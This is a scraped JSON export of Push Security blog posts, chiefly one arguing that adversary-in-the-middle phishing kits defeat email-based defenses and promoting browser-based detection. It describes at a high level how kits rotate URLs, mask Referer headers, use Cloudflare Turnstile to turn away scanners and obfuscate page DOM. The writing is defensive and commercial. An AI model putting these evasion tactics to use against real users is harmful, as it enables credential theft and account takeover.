the initial access observed by ",{"data":134722,"content":134723,"nodeType":889},{"uri":4147},[134724],{"data":134725,"marks":134726,"value":53721,"nodeType":865},{},[134727],{"type":943},{"data":134729,"marks":134730,"value":134731,"nodeType":865},{},[],", while 69% of organizations experienced a phishing incident in 2024 according to ",{"data":134733,"content":134735,"nodeType":889},{"uri":134734},"https://www.idsalliance.org/white-paper/2024-trends-in-securing-digital-identities/",[134736],{"data":134737,"marks":134738,"value":134740,"nodeType":865},{},[134739],{"type":943},"IDSA",{"data":134742,"marks":134743,"value":14251,"nodeType":865},{},[],{"data":134745,"content":134749,"nodeType":912},{"target":134746},{"sys":134747},{"id":134748,"type":909,"linkType":910},"4urh9lIuo0ePgVIJZNtP2B",[],{"data":134751,"content":134752,"nodeType":866},{},[134753],{"data":134754,"marks":134755,"value":134756,"nodeType":865},{},[],"So, why are phishing attacks still so effective for attackers? ",{"data":134758,"content":134759,"nodeType":972},{},[],{"data":134761,"content":134762,"nodeType":981},{},[134763],{"data":134764,"marks":134765,"value":134767,"nodeType":865},{},[134766],{"type":926},"Modern phishing attacks are evading established controls",{"data":134769,"content":134770,"nodeType":866},{},[134771],{"data":134772,"marks":134773,"value":134774,"nodeType":865},{},[],"Let’s start with the lay of the land: What controls and capabilities do organizations typically rely on when it comes to blocking credential phishing?  ",{"data":134776,"content":134777,"nodeType":866},{},[134778],{"data":134779,"marks":134780,"value":134781,"nodeType":865},{},[],"If you’re using an email security solution, you’re relying on the following core capabilities when it comes to detecting malicious phishing pages:",{"data":134783,"content":134784,"nodeType":1616},{},[134785,134800],{"data":134786,"content":134787,"nodeType":1570},{},[134788],{"data":134789,"content":134790,"nodeType":866},{},[134791,134796],{"data":134792,"marks":134793,"value":134795,"nodeType":865},{},[134794],{"type":926},"Known-bad blocklists:",{"data":134797,"marks":134798,"value":134799,"nodeType":865},{},[]," Block users from accessing known-bad or unapproved domains/URLs, and block traffic from known-bad malicious IPs, using Threat Intelligence (TI) feeds.",{"data":134801,"content":134802,"nodeType":1570},{},[134803],{"data":134804,"content":134805,"nodeType":866},{},[134806,134811],{"data":134807,"marks":134808,"value":134810,"nodeType":865},{},[134809],{"type":926},"Malicious webpage detection:",{"data":134812,"marks":134813,"value":134814,"nodeType":865},{},[]," Inspect webpages by loading them in a sandbox to detect malicious elements.",{"data":134816,"content":134817,"nodeType":866},{},[134818],{"data":134819,"marks":134820,"value":134821,"nodeType":865},{},[],"This also applies to other solutions that rely on these capabilities, such as web-based content filtering (e.g. Google Safe Browsing), CASB, SASE, SWG, etc. ",{"data":134823,"content":134824,"nodeType":866},{},[134825],{"data":134826,"marks":134827,"value":134828,"nodeType":865},{},[],"But, attackers are now using specific tactics, techniques, procedures (TTPs) and tooling designed to defeat these solutions. ",{"data":134830,"content":134831,"nodeType":866},{},[134832],{"data":134833,"marks":134834,"value":134835,"nodeType":865},{},[],"Let’s look at where these controls are falling short. ",{"data":134837,"content":134838,"nodeType":972},{},[],{"data":134840,"content":134841,"nodeType":981},{},[134842],{"data":134843,"marks":134844,"value":134846,"nodeType":865},{},[134845],{"type":926},"Attackers are innovating with new tooling and techniques",{"data":134848,"content":134849,"nodeType":866},{},[134850,134854,134863],{"data":134851,"marks":134852,"value":134853,"nodeType":865},{},[],"The vast majority of phishing attacks today are executed using ",{"data":134855,"content":134857,"nodeType":889},{"uri":134856},"https://pushsecurity.com/blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm/?utm_campaign=9983377-FY25Q1_Bleeping-Computer-Organic-Article&utm_source=bleepingcomputer&utm_medium=sponsored-content&utm_content=organic%20article",[134858],{"data":134859,"marks":134860,"value":134862,"nodeType":865},{},[134861],{"type":943},"AitM phishing kits — otherwise known as “MFA bypass” kits",{"data":134864,"marks":134865,"value":1615,"nodeType":865},{},[],{"data":134867,"content":134868,"nodeType":866},{},[134869],{"data":134870,"marks":134871,"value":134872,"nodeType":865},{},[],"These kits use dedicated tooling to act as a proxy between the target and a legitimate login portal for an application. This allows the target to log in successfully with a legitimate service they use and even continue to interact with it. ",{"data":134874,"content":134875,"nodeType":866},{},[134876],{"data":134877,"marks":134878,"value":134879,"nodeType":865},{},[],"As it’s a proxy to the real application, the page will appear exactly as the user expects, because they are logging into the legitimate site – just taking a detour via the attacker’s device. However, because the attacker is sitting in the middle of this connection, they are able to observe all interactions, intercept authentication material like credentials, MFA codes, and session tokens to take control of the authenticated session and gain control of the user account. ",{"data":134881,"content":134885,"nodeType":912},{"target":134882},{"sys":134883},{"id":134884,"type":909,"linkType":910},"3ZAawfzPVfhb8cmvWNZEVK",[],{"data":134887,"content":134888,"nodeType":866},{},[134889],{"data":134890,"marks":134891,"value":134892,"nodeType":865},{},[],"MFA was once widely regarded as the silver bullet for phishing (we all remember the Microsoft stat “MFA prevents over 99% of identity-based attacks”) but this is no longer the case. ",{"data":134894,"content":134895,"nodeType":866},{},[134896],{"data":134897,"marks":134898,"value":134899,"nodeType":865},{},[],"Not only are these kits incredibly effective at bypassing other anti-phishing controls like MFA, attackers are building them specifically to evade common detection tooling and techniques. ",{"data":134901,"content":134902,"nodeType":972},{},[],{"data":134904,"content":134905,"nodeType":1317},{},[134906],{"data":134907,"marks":134908,"value":134910,"nodeType":865},{},[134909],{"type":926},"Known-bad blocklists can’t keep up",{"data":134912,"content":134913,"nodeType":866},{},[134914],{"data":134915,"marks":134916,"value":134917,"nodeType":865},{},[],"The fundamental limitation with known-bad blocklists is that they focus on indicators that are easy for attackers to change, in turn making detections based on them easy to bypass. ",{"data":134919,"content":134920,"nodeType":866},{},[134921],{"data":134922,"marks":134923,"value":134924,"nodeType":865},{},[],"Attackers have gotten pretty good at disguising and rotating these elements. In modern phishing attacks, every target can receive a unique email and link. Even just using a URL shortener can bypass this. It’s equivalent to a malware hash – trivial to change, and therefore not a great thing to pin your detections on. The kind of detection that sits right at the bottom of the Pyramid of Pain. ",{"data":134926,"content":134930,"nodeType":912},{"target":134927},{"sys":134928},{"id":134929,"type":909,"linkType":910},"6cG2fx3AikwptyEyXKrYCK",[],{"data":134932,"content":134933,"nodeType":866},{},[134934],{"data":134935,"marks":134936,"value":134937,"nodeType":865},{},[],"You could look at which IP address the user connects to, but these days it’s very simple for attackers to add a new IP to their cloud-hosted server. If a domain is flagged as known-bad, the attacker only has to register a new domain, or compromise a WordPress server on an already trusted domain. Both of these things are happening on a massive scale as attackers pre-plan for the fact that their domains will be burned at some point. Attackers are more than happy to spend $10-$20 per new domain in the grand scheme of the potential proceeds of crime. ",{"data":134939,"content":134940,"nodeType":866},{},[134941,134945,134954],{"data":134942,"marks":134943,"value":134944,"nodeType":865},{},[],"For example, ",{"data":134946,"content":134948,"nodeType":889},{"uri":134947},"https://pushsecurity.com/blog/how-aitm-phishing-kits-evade-detection/?utm_campaign=9983377-FY25Q1_Bleeping-Computer-Organic-Article&utm_source=bleepingcomputer&utm_medium=sponsored-content&utm_content=organic%20article",[134949],{"data":134950,"marks":134951,"value":134953,"nodeType":865},{},[134952],{"type":943},"recent examples of Adversary-in-the-Middle phishing kits",{"data":134955,"marks":134956,"value":134957,"nodeType":865},{},[]," including Tycoon, Nakedpages, Evilginx were seen to rotate the URLs they resolve to (from a continually refreshed pool of URLs), mask the HTTP Referer header to disguise suspicious redirects, and redirect to benign (legitimate) domains if anyone but the intended victims attempted to visit the page. ",{"data":134959,"content":134960,"nodeType":866},{},[134961,134965,134974,134978,134987],{"data":134962,"marks":134963,"value":134964,"nodeType":865},{},[],"And in many cases, attackers are ",{"data":134966,"content":134968,"nodeType":889},{"uri":134967},"https://www.bleepingcomputer.com/news/security/campaign-abusing-hubspot-targets-20-000-microsoft-azure-accounts/",[134969],{"data":134970,"marks":134971,"value":134973,"nodeType":865},{},[134972],{"type":943},"leveraging legitimate SaaS services",{"data":134975,"marks":134976,"value":134977,"nodeType":865},{},[]," to conduct their campaigns (",{"data":134979,"content":134981,"nodeType":889},{"uri":134980},"https://www.bleepingcomputer.com/news/security/proofpoint-settings-exploited-to-send-millions-of-phishing-emails-daily/",[134982],{"data":134983,"marks":134984,"value":134986,"nodeType":865},{},[134985],{"type":943},"sometimes even using email protection services themselves!",{"data":134988,"marks":134989,"value":134990,"nodeType":865},{},[],") making it even harder to filter genuine from harmful links. ",{"data":134992,"content":134993,"nodeType":866},{},[134994],{"data":134995,"marks":134996,"value":134997,"nodeType":865},{},[],"But there’s a bigger issue here – for defenders to know that a URL, IP, or domain name is bad, it needs to be reported first. When are things reported? Typically after being used in an attack — so unfortunately, someone always gets hurt. ",{"data":134999,"content":135000,"nodeType":972},{},[],{"data":135002,"content":135003,"nodeType":1317},{},[135004],{"data":135005,"marks":135006,"value":135008,"nodeType":865},{},[135007],{"type":926},"Malicious webpage detections are failing",{"data":135010,"content":135011,"nodeType":866},{},[135012],{"data":135013,"marks":135014,"value":135015,"nodeType":865},{},[],"Attackers are using various tricks to prevent security tools and bots from reaching their phishing pages to analyse them. ",{"data":135017,"content":135018,"nodeType":866},{},[135019],{"data":135020,"marks":135021,"value":135022,"nodeType":865},{},[],"Using legitimate services to host their domains is increasingly common, with services like Cloudflare Workers used for the initial gateway, and Cloudflare Turnstile to prevent security bots from advancing to the page. ",{"data":135024,"content":135028,"nodeType":912},{"target":135025},{"sys":135026},{"id":135027,"type":909,"linkType":910},"4XNxLbiZf3xUK1WeFDjjxl",[],{"data":135030,"content":135031,"nodeType":866},{},[135032],{"data":135033,"marks":135034,"value":135035,"nodeType":865},{},[],"Even if you can get past Turnstile, then you’ll need to supply the correct URL parameters and headers, and execute JavaScript, to be served the malicious page. This means that a defender who knows the domain name can’t discover the malicious behavior just by making a simple HTTP(S) request to the domain.",{"data":135037,"content":135038,"nodeType":866},{},[135039],{"data":135040,"marks":135041,"value":135042,"nodeType":865},{},[],"And if all this wasn’t enough, they’re also obfuscating both visual and DOM elements to prevent signature-based detections from picking them up — so even if you can land on the page, there’s a high chance that your detections won’t trigger. ",{"data":135044,"content":135045,"nodeType":866},{},[135046],{"data":135047,"marks":135048,"value":135049,"nodeType":865},{},[],"By changing the DOM structure, attackers are loading functionally equivalent pages that look very different under the hood.",{"data":135051,"content":135054,"nodeType":912},{"target":135052},{"sys":135053},{"id":134564,"type":909,"linkType":910},[],{"data":135056,"content":135057,"nodeType":866},{},[135058],{"data":135059,"marks":135060,"value":135061,"nodeType":865},{},[],"They’re also randomizing page titles, dynamically decoding text, changing the size and name of image elements, using different favicons, blurring backgrounds, substituting logos, and more… all to defeat common detections. ",{"data":135063,"content":135067,"nodeType":912},{"target":135064},{"sys":135065},{"id":135066,"type":909,"linkType":910},"3hlzM3qIqaZHy3qxtnRS5x",[],{"data":135069,"content":135070,"nodeType":866},{},[135071],{"data":135072,"marks":135073,"value":135074,"nodeType":865},{},[],"With all this, it’s no surprise that defenders can’t keep up. ",{"data":135076,"content":135077,"nodeType":972},{},[],{"data":135079,"content":135080,"nodeType":981},{},[135081],{"data":135082,"marks":135083,"value":25229,"nodeType":865},{},[135084],{"type":926},{"data":135086,"content":135087,"nodeType":866},{},[135088],{"data":135089,"marks":135090,"value":135091,"nodeType":865},{},[],"Historically, the industry has seen email security solutions and anti-phishing as the same thing. But it’s clear that email-based phishing protection isn’t really cutting it when it comes to modern credential phishing attacks (the most common and impactful phishing variant today). ",{"data":135093,"content":135094,"nodeType":866},{},[135095],{"data":135096,"marks":135097,"value":135098,"nodeType":865},{},[],"This isn’t to say that email-based solutions have no value — far from it. But relying on email scanners to detect phishing pages as a single line of defense isn’t enough anymore. ",{"data":135100,"content":135101,"nodeType":972},{},[],{"data":135103,"content":135104,"nodeType":981},{},[135105],{"data":135106,"marks":135107,"value":135109,"nodeType":865},{},[135108],{"type":926},"Building better phishing controls",{"data":135111,"content":135112,"nodeType":866},{},[135113],{"data":135114,"marks":135115,"value":135116,"nodeType":865},{},[],"The key to solving this problem is, put simply, building better controls. But to do this, we need to move away from email as being the primary (or often the only) place where phishing attacks can be stopped. ",{"data":135118,"content":135119,"nodeType":866},{},[135120],{"data":135121,"marks":135122,"value":135123,"nodeType":865},{},[],"While email is the main delivery vector for phishing attacks (at least, according to the data we have, which comes primarily from email security solutions) it’s not the only one. Phishing links are increasingly delivered to victims over IM platforms, social media — and generally over the internet. ",{"data":135125,"content":135126,"nodeType":866},{},[135127],{"data":135128,"marks":135129,"value":135130,"nodeType":865},{},[],"A better solution to the problem would therefore be able to follow the user across the sites they use, and see the actual phishing pages as the user sees them, as opposed to a sandbox (which, as we’ve discussed, attackers are well prepared for). ",{"data":135132,"content":135133,"nodeType":972},{},[],{"data":135135,"content":135136,"nodeType":1317},{},[135137],{"data":135138,"marks":135139,"value":135141,"nodeType":865},{},[135140],{"type":926},"Is browser-based phishing protection the solution?",{"data":135143,"content":135144,"nodeType":866},{},[135145],{"data":135146,"marks":135147,"value":135148,"nodeType":865},{},[],"While we’ve been conditioned to think about phishing as something that happens over email, it’s actually the browser where most of the action happens, regardless of the initial delivery channel.",{"data":135150,"content":135151,"nodeType":866},{},[135152],{"data":135153,"marks":135154,"value":135155,"nodeType":865},{},[],"And while it’s tempting to view the delivery of a phishing link as the attack itself, the phish can’t succeed unless the victim enters their genuine credentials on the malicious page. ",{"data":135157,"content":135158,"nodeType":866},{},[135159],{"data":135160,"marks":135161,"value":135162,"nodeType":865},{},[],"Push provides a browser-based identity security solution that stops phishing attacks where they happen — in employee browsers. ",{"data":135164,"content":135165,"nodeType":866},{},[135166],{"data":135167,"marks":135168,"value":135169,"nodeType":865},{},[],"Being in the browser delivers a lot of advantages when it comes to detecting and intercepting phishing attacks. You see the live webpage that the user sees, meaning you have much better visibility of malicious elements running on the page. It also means that you can implement real-time controls that kick in when a malicious element is detected. ",{"data":135171,"content":135172,"nodeType":866},{},[135173],{"data":135174,"marks":135175,"value":135176,"nodeType":865},{},[],"There’s a clear difference when you compare a phishing attack with and without Push. ",{"data":135178,"content":135181,"nodeType":912},{"target":135179},{"sys":135180},{"id":125915,"type":909,"linkType":910},[],{"data":135183,"content":135184,"nodeType":866},{},[135185],{"data":135186,"marks":135187,"value":135188,"nodeType":865},{},[],"Here, an attacker hacks a WordPress blog to get a reputable domain and then runs a phishing toolkit on the webpage. They email one of your employees a link to it. Your SWG or email scanning solution inspects it in a sandbox but the phish kit detects this and redirects to a benign site so that it passes the inspection. ",{"data":135190,"content":135191,"nodeType":866},{},[135192],{"data":135193,"marks":135194,"value":135195,"nodeType":865},{},[],"Your user gets the email with the link and is now free to interact with the phishing page. They enter their credentials plus MFA code into the page and voila! The attacker steals the authenticated session and takes over the user’s account.  ",{"data":135197,"content":135200,"nodeType":912},{"target":135198},{"sys":135199},{"id":125951,"type":909,"linkType":910},[],{"data":135202,"content":135203,"nodeType":866},{},[135204],{"data":135205,"marks":135206,"value":135207,"nodeType":865},{},[],"But with Push, our browser extension inspects the webpage running in the user's browser. Push observes that the webpage is a login page and the user is entering their password into the page, detecting that:",{"data":135209,"content":135210,"nodeType":1616},{},[135211,135221,135231],{"data":135212,"content":135213,"nodeType":1570},{},[135214],{"data":135215,"content":135216,"nodeType":866},{},[135217],{"data":135218,"marks":135219,"value":135220,"nodeType":865},{},[],"The password the user is entering matches the domain that password is pinned to. Since it doesn't match, based on this detection alone the user is automatically redirected to a blocking page. ",{"data":135222,"content":135223,"nodeType":1570},{},[135224],{"data":135225,"content":135226,"nodeType":866},{},[135227],{"data":135228,"marks":135229,"value":135230,"nodeType":865},{},[],"The rendered web app is using a cloned app login page.",{"data":135232,"content":135233,"nodeType":1570},{},[135234],{"data":135235,"content":135236,"nodeType":866},{},[135237],{"data":135238,"marks":135239,"value":125310,"nodeType":865},{},[],{"data":135241,"content":135242,"nodeType":866},{},[135243],{"data":135244,"marks":135245,"value":125317,"nodeType":865},{},[],{"data":135247,"content":135248,"nodeType":866},{},[135249,135253],{"data":135250,"marks":135251,"value":135252,"nodeType":865},{},[],"These are good examples of detections that are difficult (or impossible) for an attacker to evade — ",{"data":135254,"marks":135255,"value":135257,"nodeType":865},{},[135256],{"type":926},"you can’t phish a victim if they can’t enter their credentials into your phishing site! ",{"data":135259,"content":135260,"nodeType":866},{},[135261,135265,135274],{"data":135262,"marks":135263,"value":135264,"nodeType":865},{},[],"If we look at the Pyramid of Pain again, we can see that these are much harder detections for attackers to get around, ",{"data":135266,"content":135268,"nodeType":889},{"uri":135267},"https://pushsecurity.com/blog/shifting-detection-left-for-more-effective-itdr/?utm_campaign=9983377-FY25Q1_Bleeping-Computer-Organic-Article&utm_source=bleepingcomputer&utm_medium=sponsored-content&utm_content=organic%20article",[135269],{"data":135270,"marks":135271,"value":135273,"nodeType":865},{},[135272],{"type":943},"enabling earlier detection and interception of account takeover ",{"data":135275,"marks":135276,"value":135277,"nodeType":865},{},[],"when compared to static, TI-driven blocklists — stopping attacks before anyone gets hurt.",{"data":135279,"content":135283,"nodeType":912},{"target":135280},{"sys":135281},{"id":135282,"type":909,"linkType":910},"6q8H7vA8k7mLrSsr5R0TZ1",[],{"data":135285,"content":135286,"nodeType":972},{},[],{"data":135288,"content":135289,"nodeType":981},{},[135290],{"data":135291,"marks":135292,"value":105586,"nodeType":865},{},[135293],{"type":926},{"data":135295,"content":135296,"nodeType":866},{},[135297],{"data":135298,"marks":135299,"value":124090,"nodeType":865},{},[],{"data":135301,"content":135302,"nodeType":866},{},[135303,135306,135313],{"data":135304,"marks":135305,"value":104093,"nodeType":865},{},[],{"data":135307,"content":135308,"nodeType":889},{"uri":134677},[135309],{"data":135310,"marks":135311,"value":105607,"nodeType":865},{},[135312],{"type":943},{"data":135314,"marks":135315,"value":135316,"nodeType":865},{},[]," for a live demo. ","Why it's time for phishing prevention to move beyond email","Modern MFA-bypass phishing attacks are routinely defeating primarily email-based security controls. Why are controls failing and what can we do about it? ","2025-03-20T00:00:00.000Z","why-its-time-for-phishing-prevention-to-move-beyond-email",{"items":135322},[135323,135325],{"sys":135324,"name":7796},{"id":7795},{"sys":135326,"name":342},{"id":4642},{"items":135328},[135329],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":135330},{"url":7804},{"__typename":1429,"sys":135332,"content":135333,"title":126026,"synopsis":126027,"hashTags":59,"publishedDate":126028,"slug":126029,"tagsCollection":135607,"authorsCollection":135613},{"id":125713},{"json":135334},{"data":135335,"content":135336,"nodeType":1382},{},[135337,135343,135359,135372,135378,135384,135387,135393,135399,135447,135453,135458,135461,135467,135473,135479,135485,135491,135505,135510,135516,135522,135536,135541,135547,135553,135559,135565,135571,135574,135580,135596,135601],{"data":135338,"content":135339,"nodeType":981},{},[135340],{"data":135341,"marks":135342,"value":125724,"nodeType":865},{},[],{"data":135344,"content":135345,"nodeType":866},{},[135346,135349,135356],{"data":135347,"marks":135348,"value":125731,"nodeType":865},{},[],{"data":135350,"content":135351,"nodeType":889},{"uri":4788},[135352],{"data":135353,"marks":135354,"value":125739,"nodeType":865},{},[135355],{"type":943},{"data":135357,"marks":135358,"value":14251,"nodeType":865},{},[],{"data":135360,"content":135361,"nodeType":866},{},[135362,135365,135369],{"data":135363,"marks":135364,"value":125749,"nodeType":865},{},[],{"data":135366,"marks":135367,"value":125754,"nodeType":865},{},[135368],{"type":943},{"data":135370,"marks":135371,"value":125758,"nodeType":865},{},[],{"data":135373,"content":135374,"nodeType":866},{},[135375],{"data":135376,"marks":135377,"value":125765,"nodeType":865},{},[],{"data":135379,"content":135380,"nodeType":866},{},[135381],{"data":135382,"marks":135383,"value":125772,"nodeType":865},{},[],{"data":135385,"content":135386,"nodeType":972},{},[],{"data":135388,"content":135389,"nodeType":1317},{},[135390],{"data":135391,"marks":135392,"value":125782,"nodeType":865},{},[],{"data":135394,"content":135395,"nodeType":866},{},[135396],{"data":135397,"marks":135398,"value":125789,"nodeType":865},{},[],{"data":135400,"content":135401,"nodeType":1616},{},[135402,135411,135420,135429,135438],{"data":135403,"content":135404,"nodeType":1570},{},[135405],{"data":135406,"content":135407,"nodeType":866},{},[135408],{"data":135409,"marks":135410,"value":125802,"nodeType":865},{},[],{"data":135412,"content":135413,"nodeType":1570},{},[135414],{"data":135415,"content":135416,"nodeType":866},{},[135417],{"data":135418,"marks":135419,"value":125812,"nodeType":865},{},[],{"data":135421,"content":135422,"nodeType":1570},{},[135423],{"data":135424,"content":135425,"nodeType":866},{},[135426],{"data":135427,"marks":135428,"value":125822,"nodeType":865},{},[],{"data":135430,"content":135431,"nodeType":1570},{},[135432],{"data":135433,"content":135434,"nodeType":866},{},[135435],{"data":135436,"marks":135437,"value":125832,"nodeType":865},{},[],{"data":135439,"content":135440,"nodeType":1570},{},[135441],{"data":135442,"content":135443,"nodeType":866},{},[135444],{"data":135445,"marks":135446,"value":125842,"nodeType":865},{},[],{"data":135448,"content":135449,"nodeType":866},{},[135450],{"data":135451,"marks":135452,"value":125849,"nodeType":865},{},[],{"data":135454,"content":135457,"nodeType":912},{"target":135455},{"sys":135456},{"id":125854,"type":909,"linkType":910},[],{"data":135459,"content":135460,"nodeType":972},{},[],{"data":135462,"content":135463,"nodeType":1317},{},[135464],{"data":135465,"marks":135466,"value":125865,"nodeType":865},{},[],{"data":135468,"content":135469,"nodeType":866},{},[135470],{"data":135471,"marks":135472,"value":125872,"nodeType":865},{},[],{"data":135474,"content":135475,"nodeType":866},{},[135476],{"data":135477,"marks":135478,"value":125879,"nodeType":865},{},[],{"data":135480,"content":135481,"nodeType":866},{},[135482],{"data":135483,"marks":135484,"value":125886,"nodeType":865},{},[],{"data":135486,"content":135487,"nodeType":866},{},[135488],{"data":135489,"marks":135490,"value":125893,"nodeType":865},{},[],{"data":135492,"content":135493,"nodeType":1317},{},[135494,135497,135502],{"data":135495,"marks":135496,"value":125900,"nodeType":865},{},[],{"data":135498,"marks":135499,"value":125906,"nodeType":865},{},[135500,135501],{"type":943},{"type":926},{"data":135503,"marks":135504,"value":125910,"nodeType":865},{},[],{"data":135506,"content":135509,"nodeType":912},{"target":135507},{"sys":135508},{"id":125915,"type":909,"linkType":910},[],{"data":135511,"content":135512,"nodeType":866},{},[135513],{"data":135514,"marks":135515,"value":125923,"nodeType":865},{},[],{"data":135517,"content":135518,"nodeType":866},{},[135519],{"data":135520,"marks":135521,"value":125930,"nodeType":865},{},[],{"data":135523,"content":135524,"nodeType":1317},{},[135525,135528,135533],{"data":135526,"marks":135527,"value":125937,"nodeType":865},{},[],{"data":135529,"marks":135530,"value":1745,"nodeType":865},{},[135531,135532],{"type":943},{"type":926},{"data":135534,"marks":135535,"value":125946,"nodeType":865},{},[],{"data":135537,"content":135540,"nodeType":912},{"target":135538},{"sys":135539},{"id":125951,"type":909,"linkType":910},[],{"data":135542,"content":135543,"nodeType":866},{},[135544],{"data":135545,"marks":135546,"value":125959,"nodeType":865},{},[],{"data":135548,"content":135549,"nodeType":866},{},[135550],{"data":135551,"marks":135552,"value":125966,"nodeType":865},{},[],{"data":135554,"content":135555,"nodeType":866},{},[135556],{"data":135557,"marks":135558,"value":125973,"nodeType":865},{},[],{"data":135560,"content":135561,"nodeType":866},{},[135562],{"data":135563,"marks":135564,"value":125980,"nodeType":865},{},[],{"data":135566,"content":135567,"nodeType":866},{},[135568],{"data":135569,"marks":135570,"value":125987,"nodeType":865},{},[],{"data":135572,"content":135573,"nodeType":972},{},[],{"data":135575,"content":135576,"nodeType":981},{},[135577],{"data":135578,"marks":135579,"value":105586,"nodeType":865},{},[],{"data":135581,"content":135582,"nodeType":866},{},[135583,135586,135593],{"data":135584,"marks":135585,"value":126003,"nodeType":865},{},[],{"data":135587,"content":135588,"nodeType":889},{"uri":16069},[135589],{"data":135590,"marks":135591,"value":105607,"nodeType":865},{},[135592],{"type":943},{"data":135594,"marks":135595,"value":113401,"nodeType":865},{},[],{"data":135597,"content":135600,"nodeType":912},{"target":135598},{"sys":135599},{"id":126018,"type":909,"linkType":910},[],{"data":135602,"content":135603,"nodeType":866},{},[135604],{"data":135605,"marks":135606,"value":21,"nodeType":865},{},[],{"items":135608},[135609,135611],{"sys":135610,"name":7796},{"id":7795},{"sys":135612,"name":342},{"id":4642},{"items":135614},[135615],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":135616},{"url":4618},"dissecting-a-recent-mailchimp-phishing-attack","blog/dissecting-a-recent-mailchimp-phishing-attack",{"json":135620},{"data":135621,"content":135622,"nodeType":1382},{},[135623],{"data":135624,"content":135625,"nodeType":866},{},[135626],{"data":135627,"marks":135628,"value":135629,"nodeType":865},{},[],"Have I Been Pwned creator and well-known security person Troy Hunt recently blogged about a phishing attack he fell for — a rare example of Attacker-in-the-Middle phishing being publicly discussed. Here’s what it tells us about how phishing is evolving and why even the best awareness training won't stop phishing attacks. ","HIBP creator and well-known security person Troy Hunt recently blogged about a phish he fell for. Here’s what it tells us about how phishing is evolving. ",{"id":135632,"publishedAt":135633},"3RhqaMQEBAQBdfHDQeoELF","2026-08-12T11:54:21.148Z",{"items":135635},[135636,135638],{"sys":135637,"name":7796},{"id":7795},{"sys":135639,"name":342},{"id":4642},{"items":135641},[135642,135644,135646,135648,135650,135652,135654,135656,135658,135660,135662,135664,135666,135668,135670,135672,135674,135676,135678],{"sys":135643,"name":279,"slug":280,"tier":31},{"id":276},{"sys":135645,"name":519,"slug":520,"tier":31},{"id":516},{"sys":135647,"name":413,"slug":414,"tier":31},{"id":410},{"sys":135649,"name":545,"slug":546,"tier":31},{"id":542},{"sys":135651,"name":342,"slug":343,"tier":31},{"id":339},{"sys":135653,"name":642,"slug":643,"tier":31},{"id":639},{"sys":135655,"name":324,"slug":325,"tier":45},{"id":321},{"sys":135657,"name":261,"slug":262,"tier":45},{"id":258},{"sys":135659,"name":528,"slug":529,"tier":45},{"id":525},{"sys":135661,"name":511,"slug":512,"tier":45},{"id":508},{"sys":135663,"name":466,"slug":467,"tier":45},{"id":463},{"sys":135665,"name":395,"slug":396,"tier":45},{"id":392},{"sys":135667,"name":422,"slug":423,"tier":45},{"id":419},{"sys":135669,"name":333,"slug":334,"tier":45},{"id":330},{"sys":135671,"name":571,"slug":572,"tier":45},{"id":568},{"sys":135673,"name":554,"slug":555,"tier":45},{"id":551},{"sys":135675,"name":502,"slug":503,"tier":45},{"id":499},{"sys":135677,"name":493,"slug":494,"tier":45},{"id":490},{"sys":135679,"name":431,"slug":432,"tier":45},{"id":428},"sZWoklIg0e2vgGAzpil8zIaBU6TuWysHnHs-WKQSO4s",{"id":135682,"title":87631,"authorsCollection":135683,"content":135687,"extension":228,"faqItemsCollection":136721,"faqTitle":59,"featured":6,"hashTags":59,"meta":136723,"metaTitle":136724,"ogImage":136725,"postType":87741,"publishedDate":136727,"relatedBlogPostsCollection":136728,"slug":87632,"stem":138674,"subtitle":59,"summary":138675,"synopsis":138686,"sys":138687,"tagsCollection":138689,"topicsCollection":138695,"__hash__":138725},"blog/blog/introducing-strong-password-enforcement.json",{"items":135684},[135685],{"fullName":6500,"firstName":6501,"jobTitle":4616,"socialLinks":59,"profilePicture":135686},{"url":6503},{"json":135688,"links":136670},{"data":135689,"content":135690,"nodeType":1382},{},[135691,135710,135717,135724,135731,135738,135744,135751,135766,135769,135776,135783,135790,135797,135807,135814,135821,135828,135836,135843,135914,135926,135933,135941,135948,136004,136016,136023,136029,136037,136044,136077,136100,136107,136117,136120,136127,136146,136153,136186,136193,136200,136207,136213,136216,136223,136230,136238,136245,136252,136268,136274,136282,136289,136295,136303,136323,136330,136363,136382,136387,136407,136427,136435,136442,136449,136455,136473,136476,136484,136499,136506,136513,136563,136569,136576,136583,136626,136629,136637,136644,136647,136653],{"data":135692,"content":135693,"nodeType":866},{},[135694,135698,135707],{"data":135695,"marks":135696,"value":135697,"nodeType":865},{},[],"It wasn’t supposed to be like this. Passwords were supposed to be dead (just ask ",{"data":135699,"content":135701,"nodeType":889},{"uri":135700},"https://www.cnet.com/news/privacy/gates-predicts-death-of-the-password/",[135702],{"data":135703,"marks":135704,"value":135706,"nodeType":865},{},[135705],{"type":943},"Bill Gates",{"data":135708,"marks":135709,"value":46245,"nodeType":865},{},[],{"data":135711,"content":135712,"nodeType":866},{},[135713],{"data":135714,"marks":135715,"value":135716,"nodeType":865},{},[],"Instead, hardworking security pros are left to sit around in community center basements drinking mediocre coffee and commiserating.",{"data":135718,"content":135719,"nodeType":866},{},[135720],{"data":135721,"marks":135722,"value":135723,"nodeType":865},{},[],"“I admit it. My users still use passwords.”",{"data":135725,"content":135726,"nodeType":866},{},[135727],{"data":135728,"marks":135729,"value":135730,"nodeType":865},{},[],"“Yeah, mine too. I’ve been telling people we’re rolling out passkeys for three years now. I’m not sure how much longer I can keep this up …”",{"data":135732,"content":135733,"nodeType":866},{},[135734],{"data":135735,"marks":135736,"value":135737,"nodeType":865},{},[],"Somber nodding all around. Hugs. A few chocolate-chip cookies on paper napkins.",{"data":135739,"content":135743,"nodeType":912},{"target":135740},{"sys":135741},{"id":135742,"type":909,"linkType":910},"4Wt29DxSSczFt5THWkuIiS",[],{"data":135745,"content":135746,"nodeType":866},{},[135747],{"data":135748,"marks":135749,"value":135750,"nodeType":865},{},[],"This is a no-judgment zone here at Push Security. So let’s take a look at why we’re still stuck with passwords, how attackers are increasingly exploiting weak credentials to infiltrate organizations, and how Push can help you get visibility and control of all your workforce identities.",{"data":135752,"content":135753,"nodeType":866},{},[135754,135758,135762],{"data":135755,"marks":135756,"value":135757,"nodeType":865},{},[],"We’ll also cover how you can use Push’s latest feature, ",{"data":135759,"marks":135760,"value":58371,"nodeType":865},{},[135761],{"type":926},{"data":135763,"marks":135764,"value":135765,"nodeType":865},{},[],", to require that employees use strong, unique passwords. Push automatically detects when employees have weak, reused, or stolen passwords and then guides them to update their password using in-browser messaging — even on apps that don’t natively support administrative control of password 